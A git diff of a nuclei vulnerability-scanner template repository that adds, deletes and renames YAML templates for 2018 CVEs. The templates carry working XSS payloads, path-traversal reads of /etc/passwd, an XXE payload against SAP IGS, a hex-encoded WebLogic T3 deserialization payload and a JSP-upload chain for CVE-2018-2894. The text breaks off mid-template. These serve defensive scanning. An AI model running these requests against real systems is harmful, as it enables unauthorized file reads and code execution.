Scripting (rXSS) via assets/edit/registrar-account.php. - reference: - - https://www.exploit-db.com/exploits/45883/ - - https://nvd.nist.gov/vuln/detail/CVE-2018-19136 - - https://github.com/domainmod/domainmod/issues/79 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2018-19136 - cwe-id: CWE-79 - metadata: - verified: "true" - tags: cve,cve2018,domainmod,xss,authenticated -requests: - - raw: - - | - POST / HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - new_username={{username}}&new_password={{password}} - - | - GET /assets/edit/registrar-account.php?raid=hello%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&del=1 HTTP/1.1 - Host: {{Hostname}} - cookie-reuse: true - matchers-condition: and - matchers: - - type: word - part: body - words: - - '">&really_del=1">YES' - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2018/CVE-2018-19326.yaml b/nuclei-templates/CVE-2018/CVE-2018-19326.yaml deleted file mode 100644 index d3a0f1379a..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-19326.yaml +++ /dev/null @@ -1,27 +0,0 @@ -id: CVE-2018-19326 - -info: - name: Zyxel VMG1312-B10D 5.13AAXA.8 - Directory Traversal - author: 0x_Akoko - severity: high - description: The vulnerability exists due to path traversal, as demonstrated by reading /etc/passwd. A remote unauthenticated attacker can send a specially crafted URL request containing "dot dot" sequences (/../), conduct directory traversal attack and view arbitrary files. - reference: - - https://www.exploit-db.com/exploits/45904 - - https://www.cybersecurity-help.cz/vdb/SB2018120309 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2018-19326 - cwe-id: CWE-22 - tags: cve,cve2018,zyxel,lfi,modem - -requests: - - method: GET - path: - - "{{BaseURL}}/../../../../../../../../../../../../etc/passwd" - - matchers: - - type: regex - regex: - - "root:.*:0:0:" - part: body diff --git a/nuclei-templates/CVE-2018/CVE-2018-19365.yaml b/nuclei-templates/CVE-2018/CVE-2018-19365.yaml deleted file mode 100644 index 2b040cfd71..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-19365.yaml +++ /dev/null @@ -1,46 +0,0 @@ -id: CVE-2018-19365 - -info: - name: Wowza Streaming Engine Manager 4.7.4.01 - Directory Traversal - author: 0x_Akoko - severity: critical - description: Wowza Streaming Engine 4.7.4.01 allows traversal of the directory structure and retrieval of a file via a remote, specifically crafted HTTP request to the REST API. - impact: | - An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or disclosure of sensitive information. - remediation: | - Upgrade to the latest version of Wowza Streaming Engine Manager or apply the necessary patches to fix the directory traversal vulnerability. - reference: - - https://blog.gdssecurity.com/labs/2019/2/11/wowza-streaming-engine-manager-directory-traversal-and-local.html - - https://nvd.nist.gov/vuln/detail/CVE-2018-19365 - - https://raw.githubusercontent.com/WowzaMediaSystems/public_cve/main/wowza-streaming-engine/CVE-2018-19365.txt - - https://github.com/ARPSyndicate/kenzer-templates - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H - cvss-score: 9.1 - cve-id: CVE-2018-19365 - cwe-id: CWE-22 - epss-score: 0.01354 - epss-percentile: 0.8589 - cpe: cpe:2.3:a:wowza:streaming_engine:4.7.4.0.1:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: wowza - product: streaming_engine - tags: cve2018,cve,wowza,lfi - -http: - - method: GET - path: - - "{{BaseURL}}/enginemanager/server/logs/download?logType=error&logName=../../../../../../../../etc/passwd&logSource=engine" - - matchers-condition: and - matchers: - - type: regex - part: body - regex: - - "root:.*:0:0:" - - - type: status - status: - - 200 -# digest: 490a0046304402205881865c2d431ab04277b58b64164a5d9a9e8ded65bae4b0db26e4223352565b02201a8e40546fc42fd6793c303617c6bd7399592710dbb328752a90e8840feaa8fb:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2018/CVE-2018-19458.yaml b/nuclei-templates/CVE-2018/CVE-2018-19458.yaml deleted file mode 100644 index 1efd4f5fbc..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-19458.yaml +++ /dev/null @@ -1,34 +0,0 @@ -id: CVE-2018-19458 - -info: - name: PHP Proxy 3.0.3 - Local File Inclusion - author: daffainfo - severity: high - description: In PHP Proxy 3.0.3, any user can read files from the server without authentication due to an index.php?q=file:/// LFI URI, a different vulnerability than CVE-2018-19246. - reference: - - https://www.exploit-db.com/exploits/45780 - - https://www.cvedetails.com/cve/CVE-2018-19458 - - https://www.exploit-db.com/exploits/45780/ - - https://pentest.com.tr/exploits/PHP-Proxy-3-0-3-Local-File-Inclusion.html - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2018-19458 - cwe-id: CWE-287 - tags: cve,cve2018,lfi,proxy - -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?q=file:///etc/passwd" - - matchers-condition: and - matchers: - - - type: regex - regex: - - "root:.*:0:0:" - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2018/CVE-2018-19877.yaml b/nuclei-templates/CVE-2018/CVE-2018-19877.yaml deleted file mode 100644 index 1a7a7645d2..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-19877.yaml +++ /dev/null @@ -1,35 +0,0 @@ -id: CVE-2018-19877 -info: - name: Adiscon LogAnalyzer 4.1.7 - Cross Site Scripting - author: arafatansari - severity: medium - description: | - Adiscon LogAnalyzer before 4.1.7 is affected by Cross-Site Scripting (XSS) in the 'referer' parameter of the login.php file. - reference: - - https://loganalyzer.adiscon.com/news/loganalyzer-v4-1-7-v4-stable-released/ - - https://www.exploit-db.com/exploits/45958/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2018-19877 - cwe-id: CWE-79 - metadata: - verified: "true" - tags: cve,cve2018,adiscon,xss -requests: - - method: GET - path: - - "{{BaseURL}}/src/login.php?referer=%22%3E%3Cscript%3Econfirm(document.domain)%3C/script%3E" - matchers-condition: and - matchers: - - type: word - part: body - words: - - 'value="">' - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2018/CVE-2018-19892.yaml b/nuclei-templates/CVE-2018/CVE-2018-19892.yaml deleted file mode 100644 index 70ca1dc6b6..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-19892.yaml +++ /dev/null @@ -1,51 +0,0 @@ -id: CVE-2018-19892 -info: - name: DomainMOD 4.11.01 - Cross-Site Scripting - author: arafatansari - severity: medium - description: | - DomainMOD 4.11.01 is vulnerable to Cross Site Scripting (XSS) via /domain//admin/dw/add-server.php DisplayName parameters. - reference: - - https://www.exploit-db.com/exploits/45959 - - https://github.com/domainmod/domainmod/issues/85 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N - cvss-score: 4.8 - cve-id: CVE-2018-19892 - cwe-id: CWE-79 - metadata: - verified: "true" - tags: cve,cve2018,domainmod,xss,authenticated -requests: - - raw: - - | - POST / HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - new_username={{username}}&new_password={{password}} - - | - POST /admin/dw/add-server.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - new_name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&new_host=abc&new_protocol=https&new_port=2086&new_username=abc&new_api_token=255&new_hash=&new_notes= - - | - GET /admin/dw/servers.php HTTP/1.1 - Host: {{Hostname}} - cookie-reuse: true - redirects: true - max-redirects: 3 - matchers-condition: and - matchers: - - type: word - part: body - words: - - '">' - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2018/CVE-2018-20010.yaml b/nuclei-templates/CVE-2018/CVE-2018-20010.yaml deleted file mode 100644 index ca5de31180..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-20010.yaml +++ /dev/null @@ -1,47 +0,0 @@ -id: CVE-2018-20010 -info: - name: DomainMOD 4.11.01 - Cross-Site Scripting - author: arafatansari - severity: medium - description: | - DomainMOD 4.11.01 is vulnerable to Cross Site Scripting (XSS) via /assets/add/ssl-provider-account.php Username field. - reference: - - https://www.exploit-db.com/exploits/46373/ - - https://nvd.nist.gov/vuln/detail/CVE-2018-20010 - - https://github.com/domainmod/domainmod/issues/88 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N - cvss-score: 4.8 - cve-id: CVE-2018-20010 - cwe-id: CWE-79 - metadata: - verified: true - tags: cve,cve2018,domainmod,xss,authenticated -requests: - - raw: - - | - POST / HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - new_username={{username}}&new_password={{password}} - - | - POST /assets/add/ssl-provider-account.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - new_ssl_provider_id=1&new_owner_id=1&new_email_address=&new_username=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&new_password=&new_reseller=0&new_reseller_id=&new_notes= - - | - GET /assets/ssl-accounts.php HTTP/1.1 - Host: {{Hostname}} - cookie-reuse: true - redirects: true - max-redirects: 2 - req-condition: true - matchers: - - type: dsl - dsl: - - 'status_code_3 == 200' - - 'contains(all_headers_3, "text/html")' - - 'contains(body_3, ">")' - condition: and diff --git a/nuclei-templates/CVE-2018/CVE-2018-20470.yaml b/nuclei-templates/CVE-2018/CVE-2018-20470.yaml deleted file mode 100644 index 5d89cd2d44..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-20470.yaml +++ /dev/null @@ -1,35 +0,0 @@ -id: CVE-2018-20470 - -info: - name: Sahi pro 7.x/8.x - Directory Traversal - author: daffainfo - severity: high - description: An issue was discovered in Tyto Sahi Pro through 7.x.x and 8.0.0. A directory traversal (arbitrary file access) vulnerability exists in the web reports module. This allows an outside attacker to view contents of sensitive files. - reference: - - https://barriersec.com/2019/06/cve-2018-20470-sahi-pro/ - - https://www.cvedetails.com/cve/CVE-2018-20470 - - http://packetstormsecurity.com/files/153330/Sahi-Pro-7.x-8.x-Directory-Traversal.html - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2018-20470 - cwe-id: CWE-22 - tags: cve,cve2018,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/_s_/dyn/Log_highlight?href=../../../../windows/win.ini&n=1#selected" - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - "bit app support" - - "fonts" - - "extensions" - condition: and - part: body diff --git a/nuclei-templates/CVE-2018/CVE-2018-2392.yaml b/nuclei-templates/CVE-2018/CVE-2018-2392.yaml new file mode 100644 index 0000000000..920686afb2 --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-2392.yaml @@ -0,0 +1,89 @@ +id: CVE-2018-2392 + +info: + name: SAP Internet Graphics Server (IGS) XML External Entity + author: _generic_human_ + severity: high + description: | + SAP Internet Graphics Servers (IGS) running versions 7.20, 7.20EXT, 7.45, 7.49, or 7.53 has two XXE vulnerabilities within the XMLCHART page - CVE-2018-2392 and CVE-2018-2393. These vulnerabilities occur due to a lack of appropriate validation on the Extension HTML tag when submitting a POST request to the XMLCHART page to generate a new chart. + reference: + - https://launchpad.support.sap.com/#/notes/2525222 + - https://blogs.sap.com/2018/02/13/sap-security-patch-day-february-2018/ + - https://www.rapid7.com/db/modules/auxiliary/admin/sap/sap_igs_xmlchart_xxe/ + - https://troopers.de/troopers18/agenda/3r38lr/ + - https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/sap/sap_igs_xmlchart_xxe.rb + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H + cvss-score: 7.5 + cve-id: CVE-2018-2392 + cwe-id: CWE-611 + tags: cve,cve2018,sap,igs,xxe,xmlchart + +requests: + - raw: + - | + POST /XMLCHART HTTP/1.1 + Host: {{Hostname}} + Content-Type: multipart/form-data; boundary={{randstr_1}} + + --{{randstr_1}} + Content-Disposition: form-data; name="{{randstr_2}}"; filename="{{randstr_3}}.xml" + Content-Type: application/xml + + + + + ALttP + + + + 12345 + + + + --{{randstr_1}} + Content-Disposition: form-data; name="{{randstr_5}}"; filename="{{randstr_6}}.xml" + Content-Type: application/xml + + + ]> + + + + + <Extension>&xxe;</Extension> + + + + + --{{randstr_1}}-- + + # file name - /etc/passwd + + matchers-condition: and + matchers: + - type: word + words: + - "Picture" + - "Info" + - "/output/" + part: body + condition: and + + - type: word + words: + - "ImageMap" + - "Errors" + part: body + condition: or + + - type: status + status: + - 200 + + - type: word + words: + - "text/html" + - "SAP Internet Graphics Server" + part: header + condition: and diff --git a/nuclei-templates/CVE-2018/CVE-2018-2628.yaml b/nuclei-templates/CVE-2018/CVE-2018-2628.yaml new file mode 100644 index 0000000000..4fcb606989 --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-2628.yaml @@ -0,0 +1,39 @@ +id: CVE-2018-2628 + +info: + name: Oracle WebLogic Server Deserialization - Remote Code Execution + author: milo2012 + severity: critical + description: | + The Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: Web Services) versions 10.3.6.0, 12.1.3.0, 12.2.1.2 and 12.2.1.3 contains an easily exploitable vulnerability that allows unauthenticated attackers with network access via T3 to compromise Oracle WebLogic Server. + reference: + - https://www.nc-lp.com/blog/weaponize-oracle-weblogic-server-poc-cve-2018-2628 + - https://nvd.nist.gov/vuln/detail/CVE-2018-2628 + - http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html + - http://www.securitytracker.com/id/1040696 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2018-2628 + cwe-id: CWE-502 + tags: cve,cve2018,oracle,weblogic,network,deserialization + +network: + - inputs: + - data: "{{hex_decode('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a')}}" + read: 1024 + - data: "{{hex_decode('000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd60000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd071a7727000d3234322e3231342e312e32353461863d1d0000000078')}}" + read: 1024 + - data: "{{hex_decode('000003ad056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707729000a556e69636173745265660000000005a2000000005649e3fd00000000000000000000000000000078fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff')}}" + read: 1024 + + host: + - "{{Hostname}}" + + read-size: 1024 + matchers: + - type: regex + regex: + - "\\$Proxy[0-9]+" + +# Enhanced by mp on 2022/04/14 diff --git a/nuclei-templates/CVE-2018/CVE-2018-2791.yaml b/nuclei-templates/CVE-2018/CVE-2018-2791.yaml new file mode 100644 index 0000000000..0d0071f34e --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-2791.yaml @@ -0,0 +1,49 @@ +id: CVE-2018-2791 + +info: + name: Oracle Fusion Middleware WebCenter Sites - Cross-Site Scripting + author: madrobot,leovalcante + severity: high + description: The Oracle WebCenter Sites component of Oracle Fusion Middleware is susceptible to multiple instances of cross-site scripting that could allow unauthenticated attackers with network access via HTTP + to compromise Oracle WebCenter Sites. Impacted versions that are affected are 11.1.1.8.0, 12.2.1.2.0 and 12.2.1.3.0. Successful attacks require human interaction from a person other than the attacker and while + the vulnerability is in Oracle WebCenter Sites, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access + to all Oracle WebCenter Sites accessible data as well as unauthorized update, insert or delete access to some of Oracle WebCenter Sites accessible data. + reference: + - http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html + - http://www.securitytracker.com/id/1040695 + - http://www.securityfocus.com/bid/103800 + - https://www.exploit-db.com/exploits/44752/ + - https://outpost24.com/blog/Vulnerabilities-discovered-in-Oracle-WebCenter-Sites + - https://nvd.nist.gov/vuln/detail/CVE-2018-2791 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N + cvss-score: 8.2 + cve-id: CVE-2018-2791 + tags: cve,cve2018,oracle,xss,wcs + +requests: + - raw: + - | + GET /cs/Satellite?pagename=OpenMarket/Gator/FlexibleAssets/AssetMaker/confirmmakeasset&cs_imagedir=qqq%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1 + Host: {{BaseURL}} + + - | + GET /cs/Satellite?destpage="&pagename=OpenMarket%2FXcelerate%2FUIFramework%2FLoginError HTTP/1.1 + Host: {{BaseURL}} + + stop-at-first-match: true + matchers-condition: or + matchers: + - type: word + part: body + words: + - '/graphics/common/screen/dotclear.gif' + + - type: word + part: body + words: + - '' + - 'Missing translation key' + condition: and + +# Enhanced by mp on 2022/04/20 diff --git a/nuclei-templates/CVE-2018/CVE-2018-2894.yaml b/nuclei-templates/CVE-2018/CVE-2018-2894.yaml new file mode 100644 index 0000000000..06c12a5593 --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-2894.yaml @@ -0,0 +1,97 @@ +id: CVE-2018-2894 + +info: + name: Oracle WebLogic Server - Remote Code Execution + author: geeknik,pdteam + severity: critical + description: | + The Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: WLS - Web Services) is susceptible to a remote code execution vulnerability that is easily exploitable and could allow unauthenticated attackers with network access via HTTP to compromise the server. Supported versions that are affected are 12.1.3.0, 12.2.1.2 and 12.2.1.3. + reference: + - https://blog.detectify.com/2018/11/14/technical-explanation-of-cve-2018-2894-oracle-weblogic-rce/ + - https://github.com/vulhub/vulhub/tree/fda47b97c7d2809660a4471539cd0e6dbf8fac8c/weblogic/CVE-2018-2894 + - https://nvd.nist.gov/vuln/detail/CVE-2018-2894 + - http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2018-2894 + tags: cve,cve2018,oracle,weblogic,rce + +requests: + - raw: + - | + POST /ws_utc/resources/setting/options HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + setting_id=general&BasicConfigOptions.workDir=%2Fu01%2Foracle%2Fuser_projects%2Fdomains%2Fbase_domain%2Fservers%2FAdminServer%2Ftmp%2F_WL_internal%2Fcom.oracle.webservices.wls.ws-testclient-app-wls%2F4mcj4y%2Fwar%2Fcss&BasicConfigOptions.proxyHost=&BasicConfigOptions.proxyPort=80 + + - | + POST /ws_utc/resources/setting/keystore HTTP/1.1 + Host: {{Hostname}} + Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuim0dyiDSPBPu31g + + ------WebKitFormBoundaryuim0dyiDSPBPu31g + Content-Disposition: form-data; name="ks_name" + + {{randstr}} + ------WebKitFormBoundaryuim0dyiDSPBPu31g + Content-Disposition: form-data; name="ks_edit_mode" + + false + ------WebKitFormBoundaryuim0dyiDSPBPu31g + Content-Disposition: form-data; name="ks_password_front" + + + ------WebKitFormBoundaryuim0dyiDSPBPu31g + Content-Disposition: form-data; name="ks_password" + + + ------WebKitFormBoundaryuim0dyiDSPBPu31g + Content-Disposition: form-data; name="ks_password_changed" + + false + ------WebKitFormBoundaryuim0dyiDSPBPu31g + Content-Disposition: form-data; name="ks_filename"; filename="{{randstr}}.jsp" + Content-Type: application/octet-stream + + <%@ page import="java.util.*,java.io.*"%> + <%@ page import="java.security.MessageDigest"%> + + <% + String cve = "CVE-2018-2894"; + MessageDigest alg = MessageDigest.getInstance("MD5"); + alg.reset(); + alg.update(cve.getBytes()); + byte[] digest = alg.digest(); + StringBuffer hashedpasswd = new StringBuffer(); + String hx; + for (int i=0;i + ------WebKitFormBoundaryuim0dyiDSPBPu31g-- + + - | + GET /ws_utc/css/config/keystore/{{id}}_{{randstr}}.jsp HTTP/1.1 + Host: {{Hostname}} + + extractors: + - type: regex + name: id + internal: true + group: 1 + regex: + - '([0-9]+){{randstr}}' + + matchers: + - type: word + words: + - "26ec00a3a03f6bfc5226fd121567bb58" # MD5 (CVE-2018-2894) + +# Enhanced by mp on 2022/05/13 diff --git a/nuclei-templates/CVE-2018/cve-2018-3238.yaml b/nuclei-templates/CVE-2018/CVE-2018-3238.yaml similarity index 100% rename from nuclei-templates/CVE-2018/cve-2018-3238.yaml rename to nuclei-templates/CVE-2018/CVE-2018-3238.yaml diff --git a/nuclei-templates/CVE-2018/CVE-2018-3760.yaml b/nuclei-templates/CVE-2018/CVE-2018-3760.yaml deleted file mode 100644 index d4508b7285..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-3760.yaml +++ /dev/null @@ -1,48 +0,0 @@ -id: CVE-2018-3760 - -info: - name: Ruby On Rails Path Traversal - author: 0xrudra,pikpikcu - severity: high - description: | - Ruby On Rails is a well-known Ruby Web development framework, which uses Sprockets as a static file server in development environment. Sprockets is a Ruby library that compiles and distributes static resource files. - There is a path traversal vulnerability caused by secondary decoding in Sprockets 3.7.1 and lower versions. An attacker can use %252e%252e/ to access the root directory and read or execute any file on the target server. - reference: - - https://github.com/vulhub/vulhub/tree/master/rails/CVE-2018-3760 - - https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf - - https://seclists.org/oss-sec/2018/q2/210 - - https://xz.aliyun.com/t/2542 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2018-3760 - cwe-id: CWE-200 - tags: cve,cve2018,rails,lfi,ruby - -requests: - - raw: - - | - GET /assets/file:%2f%2f/etc/passwd HTTP/1.1 - Host: {{Hostname}} - - - | - GET /assets/file:%2f%2f{{path}}/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd HTTP/1.1 - Host: {{Hostname}} - - extractors: - - type: regex - name: path - internal: true - part: body - regex: - - "/etc/passwd is no longer under a load path: (.*?)," - - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - - - type: status - status: - - 200 diff --git a/nuclei-templates/wordpress/CVE-2018-3810.yaml b/nuclei-templates/CVE-2018/CVE-2018-3810.yaml similarity index 97% rename from nuclei-templates/wordpress/CVE-2018-3810.yaml rename to nuclei-templates/CVE-2018/CVE-2018-3810.yaml index a09e1612c4..242f61e9c0 100644 --- a/nuclei-templates/wordpress/CVE-2018-3810.yaml +++ b/nuclei-templates/CVE-2018/CVE-2018-3810.yaml @@ -5,7 +5,7 @@ info: author: princechaddha severity: critical reference: https://www.exploit-db.com/exploits/43420 - + tags: wordpress,cve,cve2018,google classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.80 diff --git a/nuclei-templates/CVE-2018/cve-2018-5230.yaml b/nuclei-templates/CVE-2018/CVE-2018-5230.yaml similarity index 100% rename from nuclei-templates/CVE-2018/cve-2018-5230.yaml rename to nuclei-templates/CVE-2018/CVE-2018-5230.yaml diff --git a/nuclei-templates/CVE-2018/cve-2018-6200.yaml b/nuclei-templates/CVE-2018/CVE-2018-6200.yaml similarity index 100% rename from nuclei-templates/CVE-2018/cve-2018-6200.yaml rename to nuclei-templates/CVE-2018/CVE-2018-6200.yaml diff --git a/nuclei-templates/CVE-2018/CVE-2018-6389.yaml b/nuclei-templates/CVE-2018/CVE-2018-6389.yaml new file mode 100644 index 0000000000..586cb07d3e --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-6389.yaml @@ -0,0 +1,60 @@ +id: CVE-2018-6389 + +info: + name: > + WordPress Core <= 4.9.8 - Denial of Service + author: topscoder + severity: high + description: > + In WordPress through 4.9.2, unauthenticated attackers can cause a denial of service (resource consumption) by using the large list of registered .js files (from wp-includes/script-loader.php) to construct a series of requests to load every file many times. It looks like most of the slowness was due to forcing PHP to repeatedly compress the output scripts, which was addressed in 4.9.9. + reference: + - https://www.wordfence.com/threat-intel/vulnerabilities/id/1d5987cd-1304-487c-8d1c-cab0510fbb84?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H + cvss-score: 7.5 + cve-id: CVE-2018-6389 + metadata: + shodan-query: 'vuln:CVE-2018-6389' + tags: cve,wordpress,wp-core,high + +http: + - method: GET + path: + - "{{BaseURL}}" + - "{{BaseURL}}/wp-admin/install.php" + - "{{BaseURL}}/feed/" + - "{{BaseURL}}/?feed=rss2" # alternative if /feed/ is blocked + + redirects: true + max-redirects: 2 + stop-at-first-match: true + matchers-condition: and + matchers: + - type: dsl + dsl: + - compare_versions(version_by_generator, '<= 4.9.8') + - compare_versions(version_by_js, '<= 4.9.8') + - compare_versions(version_by_css, '<= 